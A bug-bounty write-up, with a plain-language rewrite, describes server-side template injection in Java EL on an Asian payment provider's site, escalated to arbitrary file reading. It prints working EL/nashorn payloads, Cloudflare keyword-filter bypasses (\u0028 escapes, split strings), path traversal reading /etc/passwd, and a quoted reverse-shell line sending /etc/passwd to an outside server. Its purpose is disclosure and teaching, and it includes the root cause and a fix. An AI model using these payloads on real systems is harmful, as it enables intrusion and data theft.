Doing it the researcher’s way: How I Managed to Get SSTI (Server Side Template Injection) which lead to arbitrary file reading on One of the Leading Payment Systems in Asia
A request parameter was vulnerable to server-side template injection, allowing an attacker to execute Java code on the server. The author bypassed a Cloudflare WAF and used Java file-reading methods to read arbitrary files such as /etc/passwd.
This is my first longer write-up about one of my discoveries made while bug hunting.
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
While browsing, I came across a website belonging to one of the leading payment system providers in Asia. The feature of interest was a request parameter that the application reflected back in its response, but not verbatim: the value was being evaluated on the server before it was returned. That behaviour is the signature of Server Side Template Injection (SSTI): user input reaches a template engine, the engine treats it as an expression, and the result of that expression is rendered into the page.
Setup
The work was done with Burp Suite, which is how the odd reflection on the parameter was first noticed. No accounts, roles or specific versions are described in the report. The only precondition that matters is that the parameter is reflected and evaluated server side.
Finding it
I sent the value ${7*7} through the parameter. The response came back with 49, meaning the engine had evaluated 7*7 rather than echoing the string. That confirmed SSTI.
The response for that request looked like this:

At that point I had no clear direction, so I did the usual thing: I copied every SSTI payload from PayloadsAllTheThings and Hacktricks and tried them. Only a few worked, and I reported the bug immediately.
The team replied asking whether I could escalate the issue to critical or high severity. That made me want to learn the subject properly. I read blogs and write-ups on SSTI and Expression Language injection, but none of the techniques worked. What was clear was that the application was written in Java. A further obstacle was that the application sat behind a Cloudflare firewall, so most payloads failed before reaching the engine.
One payload I tried, which the WAF blocked:
$%7btrue.getClass().forName(\%22Java.lang.Runtime\%22).getMethods()[6].invoke(true.getClass().forName(\%22Java.lang.Runtime\%22)).exec(\%27bash%20-c%20\%22cat%20/etc/passwd%20%3E%26%20/dev/tcp/<ourserver>%200%3E%261%22%20%27%20)%7D
This is the classic Java EL route to Runtime.exec, with the braces and quotes URL-encoded and a bash reverse shell writing to /dev/tcp/<ourserver>. Cloudflare rejected it.
Exploitation
Step 1: reach the scripting engine through EL
With support from team members at my workplace I went back to studying the language. I found a blog on expression language injection which showed that a JavaScript engine can be instantiated through ScriptEngineManager and Java code executed through it. I started with:
${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance()}
This creates a ScriptEngineManager instance from a string literal, without naming Runtime or any other blocked class. To see which engine is available:
${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘JavaScript’)}
And to read the engine's language name and version:
${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineFactories()[0].getLanguageName()}
${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineFactories()[0].getLanguageVersion()}
These returned results, which was encouraging. The real problem started with payloads containing exec() or eval(), which Cloudflare detected. For example, this one with eval:
${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘JavaScript’).eval(\”new+java.lang.String(‘test’)\”)}
Step 2: reading a system property
I restarted from the beginning and tried to pull sensitive information from the server with:
${class.forName(“java.lang.System”).getProperty(“user.home”)}
The response contained nothing. The lesson was that this route does not render a result, so the same ScriptEngineManager technique has to be used to see output.
Step 3: bypassing the WAF keyword filter
While testing functions I tried the words evaluate() and execute() in place of eval() and exec(), and found that the filter only detects the keywords eval and exec, not evaluate or execute. So the payload needs something alongside the keyword. After some research I found the GBK encoding technique and used \u0028 in place of (, since the language is Java.
The function call becomes eval\u0028) and it worked. With that, I used the following to get sensitive information:
${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘nashorn’).eval\u0028'java.lang.System.getProperty(“user.home”)'}
This returned the application user's home directory.
I also noticed that the WAF detected keywords such as runtime and strings such as whoami and etc/passwd. Providing those as run+time (string concatenation) worked.
Step 4: attempting command execution
Combining all of the above, following the same blog, I tried:
test${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘js’).eval\u0028'java.lang.Run’+’time.getRuntime().exec\u0028"who”+”ami”).getInputStream()’).toString()}
This produced a unixprocess instance, but nothing was executed. A reverse shell payload built the same way also failed. I tried many methods to get a reverse shell and all of them failed. Even so, I had bypassed Cloudflare and obtained the internal directory, which was enough to report to the team.
Step 5: reading files instead of executing commands
On the ride home from the office I thought about fetching sensitive files such as /etc/passwd through Java file reading techniques instead. Research turned up the java.nio.file.Files.readAllLines(java.nio.file.Paths.get('filepath')).get(0) method, which reads a file and returns a chosen line.
The first attempt, which Cloudflare detected:
${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘js’).eval\u0028'java.nio.file.Files.readAllLines(java.nio.file.Paths.get(“../../../../../etc/passwd”)).get(1)'}
The bypass, splitting the path string with concatenation:
${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘js’).eval\u0028'java.nio.file.Files.readAllLines(java.nio.file.Paths.get(“../../../../../et”+”c/passwd”)).get(1)'}
With this I was able to read server files. I reported it to the team, they appreciated the work, and the bug was immediately rated Critical.
Root cause
The application passes a user-controlled request parameter into a Java expression/template evaluation context and renders the evaluated result, instead of treating the value as data. Because the engine is Java EL, arbitrary classes can be reached through reflection (getClass().forName(...)), including javax.script.ScriptEngineManager, which in turn exposes a JavaScript engine (nashorn/js) whose eval can run Java code. The application was behind Cloudflare, and it worked as a keyword blocklist: it matched eval, exec, runtime, whoami, etc/passwd and similar strings, but not evaluate/execute, not the \u0028 encoding of (, and not concatenated strings such as run+time or et+c/passwd. A blocklist of substrings is bypassable by construction.
Impact
Under the conditions described, an attacker who can reach the vulnerable parameter can execute arbitrary Java expressions on the server and read files from it, including /etc/passwd, and can obtain system properties such as the application user's home directory. Command execution was attempted but did not succeed in this case: the exec call produced a unixprocess instance without executing anything, and reverse shell attempts failed. The report does not describe what data the payment system held or how many users were affected; the team rated the issue Critical.
Fix
The report does not say what the team changed. The correct fix is to stop evaluating user input as an expression: pass the parameter as data to the template, or validate it against a strict allowlist of expected values, rather than relying on a WAF keyword blocklist. Blocklists of the kind bypassed here should not be treated as the control.
Variants to test
- Arithmetic probe: send
${7*7}in any reflected parameter. A response containing49instead of the literal string indicates evaluation. - Engine discovery: send
${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineFactories()[0].getLanguageName()}. A language name in the response confirms Java EL with a scripting engine reachable. - Keyword filter mapping: send
eval()andexec()and thenevaluate()andexecute(). If the first pair is blocked and the second is not, the filter is a substring blocklist. - Encoding bypass: replace
(with\u0028in a blocked call. A successful evaluation shows the filter does not normalise escapes. - Concatenation bypass: split blocked strings, for example
run+timeoret+c/passwd. A successful result shows the filter does not evaluate string concatenation. - File read: send
${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘js’).eval\u0028'java.nio.file.Files.readAllLines(java.nio.file.Paths.get("../../../../../et"+"c/passwd")).get(1)'}. File contents in the response confirm arbitrary file reading.
What happened, in plain words
A security researcher was browsing a website that belonged to one of the leading payment system providers in Asia. On one of its pages, a value that a visitor sends to the site (a request parameter) came back in the page, but not exactly as it was sent: the server had done something to it first. That small oddity turned out to be a serious bug. The server was taking the visitor's text and treating it as a small program to calculate, then printing the answer. Because of that, the researcher could eventually make the server read files from its own disk, including the classic /etc/passwd file, and the payment provider rated the issue Critical.
This article walks through the whole story from zero. You only need to know how to use a browser and a computer. Every technical word is explained the first time it appears, and there is a glossary at the end.
The idea you need first: what a template is
Most websites do not store a finished page for every visitor. They store a page with blanks in it, and fill the blanks when someone asks for the page. A shopping site, for example, has one product page template, and the blank "product name" is filled with whatever product you clicked.
A template engine is the software that fills those blanks. It is a bit like a mail merge in a word processor: you write "Dear [name]" once, and the program puts each person's name in.
Normally the engine only fills blanks with data. But some engines can also do small calculations inside the template, written in a mini-language called an expression. For example, a template might contain an expression that adds a discount to a price. The engine reads that expression, calculates it, and puts the result on the page.
The vulnerability: Server Side Template Injection (SSTI)
Server Side Template Injection, usually shortened to SSTI, happens when a website lets a visitor's input become part of that mini-language instead of staying plain data. The engine cannot tell the difference between "text the developer wrote" and "text a visitor sent", so it calculates whatever the visitor sends.
A simple comparison: imagine a form that asks for your name, and the website replies "Hello, [your name]". If you type Alice, you get "Hello, Alice". Now imagine the website also does arithmetic on whatever is in the blank. If you type 2+2, you get "Hello, 4". That is the bug in a nutshell: your input was treated as a calculation, not as a name.
Why does it matter? Because these mini-languages are often much more powerful than simple arithmetic. In some setups they can reach the programming language underneath, and from there the whole server.
How the researcher found it
The tool: Burp Suite
The researcher used Burp Suite, a program that sits between your browser and a website and lets you see and change every request and response. Think of it as a transparent proxy: your browser talks to Burp, Burp talks to the website, and you can pause the conversation and edit it. That is how the odd reflection on the parameter was first noticed.
The report does not describe any accounts, roles or specific software versions. The only thing that mattered was that the parameter was reflected and evaluated on the server.
The first test: ${7*7}
The researcher sent this value through the parameter:
Line by line:
${and}are the markers that tell a template engine "calculate what is between us".7*7is a multiplication.- So the whole thing asks the engine to calculate seven times seven.
If the website had treated the value as plain text, the page would have shown the literal characters ${7*7}. Instead, the response came back with 49. The engine had done the multiplication. That confirmed SSTI.
The response for that request looked like this:

At that point the researcher had no clear direction, so they did the usual thing: they copied every SSTI payload from PayloadsAllTheThings and Hacktricks and tried them. A payload is simply the piece of text an attacker sends to trigger a bug. Only a few worked, and the bug was reported immediately.
The team's reply, and the new goal
The team replied asking whether the researcher could escalate the issue to critical or high severity. Severity is how serious a bug is judged to be, usually on a scale from low to critical. That reply made the researcher want to learn the subject properly.
They read blogs and write-ups on SSTI and on Expression Language injection. Expression Language (EL) is a small expression language used in Java web applications, and it is one of the places where SSTI can appear. None of the techniques worked at first. What was clear was that the application was written in Java, a very common programming language. A further obstacle was that the application sat behind Cloudflare, a service that filters traffic before it reaches the website, like a security guard at the door. Most payloads failed before reaching the engine.
One payload the researcher tried, which the WAF blocked:
$%7btrue.getClass().forName(\%22Java.lang.Runtime\%22).getMethods()[6].invoke(true.getClass().forName(\%22Java.lang.Runtime\%22)).exec(\%27bash%20-c%20\%22cat%20/etc/passwd%20%3E%26%20/dev/tcp/<ourserver>%200%3E%261%22%20%27%20)%7D
A WAF (Web Application Firewall) is the filter that inspects requests and blocks ones that look malicious. Cloudflare was acting as this filter.
Line by line, in plain words:
$%7bis$followed by%7b, which is the URL-encoded form of{. URL encoding is how special characters travel safely in a web address:{becomes%7b, a space becomes%20, and so on.true.getClass()asks the Java objecttruefor its class, meaning "what kind of thing are you?"..forName(\%22Java.lang.Runtime\%22)asks Java to load a class by name.%22is the encoded double quote, so the name isJava.lang.Runtime.Runtimeis the Java class that can start other programs on the machine..getMethods()[6]picks one of the methods (actions) that class offers, by position in the list..invoke(...)calls that method on aRuntimeobject..exec(...)runs a command on the operating system.- The command is
bash -c "cat /etc/passwd >& /dev/tcp/<ourserver> 0>&1".cat /etc/passwdprints the contents of the password file./dev/tcp/<ourserver>is a bash trick for opening a network connection, and the redirections send the command's output to that connection. This is a reverse shell: the server connects back to the attacker's machine and hands over a command prompt. %27is an encoded single quote and%20an encoded space.
Cloudflare rejected it. The guard at the door recognised the pattern.
Getting further: reaching the scripting engine
The idea from a blog
With support from team members at their workplace, the researcher went back to studying the language. They found a blog on expression language injection which showed that a JavaScript engine can be created through a Java class called ScriptEngineManager, and that Java code can then be run through it.
A scripting engine is a component that can run a script written in some language, here JavaScript, from inside a Java program. ScriptEngineManager is the Java class that hands out those engines.
Step 1: create the manager
The first payload was:
${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance()}
Line by line:
${ ... }again tells the engine to calculate what is inside.‘a’is a simple string, one letter. Starting from a harmless string avoids writing the name of a dangerous class directly..getClass()asks that string what class it belongs to..forName(‘javax.script.ScriptEngineManager’)uses that class to load another class by name, here the scripting engine manager..newInstance()creates an actual object of that class, ready to use.
Why this route? Because it never mentions Runtime or other names the filter was watching for. It builds the dangerous object indirectly, from a letter.
Step 2: ask which engine is available
${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘JavaScript’)}
This is the same chain as before, with one addition: .getEngineByName(‘JavaScript’) asks the manager for the JavaScript engine. If the server has one, the response shows it.
Step 3: read the engine's name and version
${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineFactories()[0].getLanguageName()}
${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineFactories()[0].getLanguageVersion()}
Line by line:
getEngineFactories()returns the list of engines the manager knows about.[0]picks the first one in the list..getLanguageName()returns the language's name, and.getLanguageVersion()its version.
These returned results, which was encouraging. Knowing the language and version helps an attacker pick payloads that will work.
Step 4: the problem with eval() and exec()
The real problem started with payloads containing exec() or eval(), which Cloudflare detected. eval() means "evaluate this text as code" and exec() means "execute this command". For example, this one with eval:
${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘JavaScript’).eval(\”new+java.lang.String(‘test’)\”)}
Line by line:
- The chain up to
getEngineByName(‘JavaScript’)is the same as before: get the JavaScript engine. .eval(...)asks that engine to run the text inside the brackets as JavaScript.- The text is
new+java.lang.String(‘test’). The+here is URL encoding for a space, so the engine seesnew java.lang.String('test'), which creates a Java string containingtest.
It is a harmless test, but the word eval in the request was enough for Cloudflare to block it.
Step 5: a system property, and a dead end
The researcher restarted from the beginning and tried to pull sensitive information from the server with:
${class.forName(“java.lang.System”).getProperty(“user.home”)}
Line by line:
class.forName(“java.lang.System”)loads Java'sSystemclass, which holds information about the machine and the running program..getProperty(“user.home”)asks for the system propertyuser.home, which is the home directory of the user the application runs as.
A system property is a named setting that the Java runtime keeps, such as the user's home folder or the operating system name.
The response contained nothing. The lesson was that this route does not render a result, so the same ScriptEngineManager technique has to be used to see output.
Bypassing the WAF
Step 1: the filter only knows two words
While testing functions, the researcher tried the words evaluate() and execute() in place of eval() and exec(), and found that the filter only detects the keywords eval and exec, not evaluate or execute. So the payload needs something alongside the keyword. After some research they found the GBK encoding technique and used \u0028 in place of (.
GBK is a character encoding used for Chinese text. In some encodings, a byte can be part of a multi-byte character, and filters that read the request in one encoding while the application reads it in another can be confused. \u0028 is the Java escape for the left bracket (: Java reads it as a bracket, but a filter looking for the literal character ( does not see one.
The function call becomes eval\u0028) and it worked. With that, the researcher used the following to get sensitive information:
${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘nashorn’).eval\u0028'java.lang.System.getProperty(“user.home”)'}
Line by line:
- The chain is the same as before, but the engine is requested by the name
nashorn. Nashorn is the JavaScript engine that shipped with Java for years. .eval\u0028 ... )is theevalcall, with the opening bracket written as the escape\u0028so the filter does not match it.- The text handed to
evalisjava.lang.System.getProperty("user.home"), which asks Java for the home directory of the application user.
This returned the application user's home directory.
Step 2: splitting blocked words
The researcher also noticed that the WAF detected keywords such as runtime and strings such as whoami and etc/passwd. whoami is a command that prints the current user's name. Providing those as run+time (string concatenation) worked.
String concatenation means joining two pieces of text into one. run+time produces runtime, but the filter sees two harmless halves. It is like writing a forbidden word on two lines so a scanner reading line by line misses it.
Step 3: trying to run commands
Combining all of the above, following the same blog, the researcher tried:
test${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘js’).eval\u0028'java.lang.Run’+’time.getRuntime().exec\u0028"who”+”ami”).getInputStream()’).toString()}
Line by line:
testis just text in front of the expression.- The chain gets the JavaScript engine, here requested by the short name
js. .eval\u0028 ... )runs the text inside as JavaScript, with the bracket escaped.'java.lang.Run’+’time.getRuntime()...'joinsjava.lang.Runandtime.getRuntime()...intojava.lang.Runtime.getRuntime()..., hiding the wordruntimefrom the filter..exec\u0028"who”+”ami”)runs the commandwhoami, with the bracket escaped and the command split intowhoandami..getInputStream()takes the output of the command as a stream of data..toString()turns that stream into text.
This produced a unixprocess instance, but nothing was executed. A process is a running program on the machine; unixprocess is the Java class that represents one. A reverse shell payload built the same way also failed. The researcher tried many methods to get a reverse shell and all of them failed. Even so, they had bypassed Cloudflare and obtained the internal directory, which was enough to report to the team.
Step 4: reading files instead of running commands
On the ride home from the office, the researcher thought about fetching sensitive files such as /etc/passwd through Java file reading techniques instead. /etc/passwd is a file on Unix-like systems that lists user accounts; it is a classic target because reading it proves the attacker can read files on the server.
Research turned up the java.nio.file.Files.readAllLines(java.nio.file.Paths.get('filepath')).get(0) method, which reads a file and returns a chosen line. In plain words: Files.readAllLines reads a whole file into a list of lines, Paths.get('filepath') turns a path string into a path object, and .get(0) picks the first line (or .get(1) the second).
The first attempt, which Cloudflare detected:
${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘js’).eval\u0028'java.nio.file.Files.readAllLines(java.nio.file.Paths.get(“../../../../../etc/passwd”)).get(1)'}
Line by line:
- The chain gets the JavaScript engine as before.
java.nio.file.Files.readAllLines(java.nio.file.Paths.get("../../../../../etc/passwd"))reads the file at that path.../../../../../is a path traversal: each..means "go up one folder", so the path climbs out of the application's folder and reaches the system's/etcfolder..get(1)returns the second line of the file.
The bypass, splitting the path string with concatenation:
${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘js’).eval\u0028'java.nio.file.Files.readAllLines(java.nio.file.Paths.get(“../../../../../et”+”c/passwd”)).get(1)'}
Line by line:
- Everything is the same except the path:
"../../../../../et"+"c/passwd"joins../../../../../etandc/passwdinto../../../../../etc/passwd. - The filter looking for
etc/passwdas one string does not find it, because the request contains two halves.
With this the researcher was able to read server files. They reported it to the team, the team appreciated the work, and the bug was immediately rated Critical.
Why the bug existed
The application passes a user-controlled request parameter into a Java expression or template evaluation context and renders the evaluated result, instead of treating the value as data. Because the engine is Java EL, arbitrary classes can be reached through reflection. Reflection is a Java feature that lets code inspect and use classes by name at runtime, which is exactly what getClass().forName(...) does. That reaches javax.script.ScriptEngineManager, which in turn exposes a JavaScript engine (nashorn or js) whose eval can run Java code.
The application was behind Cloudflare, and it worked as a keyword blocklist: it matched eval, exec, runtime, whoami, etc/passwd and similar strings, but not evaluate or execute, not the \u0028 encoding of (, and not concatenated strings such as run+time or et+c/passwd. A blocklist of substrings is bypassable by construction, because there is always another way to write the same thing.
What an attacker could do
Under the conditions described, an attacker who can reach the vulnerable parameter can execute arbitrary Java expressions on the server and read files from it, including /etc/passwd, and can obtain system properties such as the application user's home directory.
Command execution was attempted but did not succeed in this case: the exec call produced a unixprocess instance without executing anything, and reverse shell attempts failed. The report does not describe what data the payment system held or how many users were affected; the team rated the issue Critical.
How to fix it
The correct fix is to stop evaluating user input as an expression: pass the parameter as data to the template, or validate it against a strict allowlist of expected values, rather than relying on a WAF keyword blocklist. An allowlist is a list of things that are permitted, as opposed to a blocklist, which is a list of things that are forbidden. Blocklists of the kind bypassed here should not be treated as the control.
Variants to test
If you ever test a similar feature, these are the steps in order:
- Arithmetic probe: send
${7*7}in any reflected parameter. A response containing49instead of the literal string indicates evaluation. - Engine discovery: send
${‘a’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineFactories()[0].getLanguageName()}. A language name in the response confirms Java EL with a scripting engine reachable. - Keyword filter mapping: send
eval()andexec()and thenevaluate()andexecute(). If the first pair is blocked and the second is not, the filter is a substring blocklist. - Encoding bypass: replace
(with\u0028in a blocked call. A successful evaluation shows the filter does not normalise escapes. - Concatenation bypass: split blocked strings, for example
run+timeoret+c/passwd. A successful result shows the filter does not evaluate string concatenation. - File read: send
${‘b’.getClass().forName(‘javax.script.ScriptEngineManager’).newInstance().getEngineByName(‘js’).eval\u0028'java.nio.file.Files.readAllLines(java.nio.file.Paths.get("../../../../../et"+"c/passwd")).get(1)'}. File contents in the response confirm arbitrary file reading.
Tips from the researcher
- Read, read, read. Try to read a lot on the latest articles related to CVEs or new technologies, and if possible practise some labs related to that. A CVE is a public identifier for a known security flaw.
- Take breaks in between. Sometimes when we get into something we feel like giving up when there is no result, but never give up. Sometimes a ride on a bike gives you new ideas.
- Research possible programming code examples if there is a code injection.
Glossary
- Allowlist: a list of values that are explicitly permitted; anything not on the list is rejected.
- Blocklist: a list of values that are forbidden; anything not on the list is allowed through.
- Burp Suite: a tool that sits between a browser and a website so you can see and edit every request and response.
- Cloudflare: a service that filters web traffic before it reaches a website, often acting as a WAF.
- Concatenation: joining two pieces of text into one, for example
run+timegivesruntime. - CVE: a public identifier for a known security vulnerability.
- eval: a function that runs a piece of text as code.
- exec: a function that runs an operating system command.
- Expression Language (EL): a small expression language used in Java web applications, one of the places where SSTI can appear.
- GBK: a character encoding used for Chinese text; the researcher used it as part of an encoding trick.
- Java: a widely used programming language and runtime.
- Nashorn: the JavaScript engine that shipped with Java for years.
- Path traversal: using
..in a file path to climb out of the intended folder and reach other files. - Payload: the piece of text an attacker sends to trigger a bug.
- Process: a running program on a computer.
- Reflection: a Java feature that lets code inspect and use classes by name at runtime.
- Reverse shell: a connection from the victim server back to the attacker that gives the attacker a command prompt.
- Scripting engine: a component that can run scripts written in another language, such as JavaScript, from inside a Java program.
- ScriptEngineManager: the Java class that hands out scripting engines.
- Server Side Template Injection (SSTI): a bug where a website treats visitor input as part of a template expression and evaluates it on the server.
- Severity: how serious a bug is judged to be, usually from low to critical.
- System property: a named setting kept by the Java runtime, such as the user's home folder.
- Template engine: software that fills blanks in a page template with data, and sometimes evaluates small expressions.
- URL encoding: how special characters travel safely in a web address, for example
{becomes%7band a space becomes%20. - WAF (Web Application Firewall): a filter that inspects web requests and blocks ones that look malicious.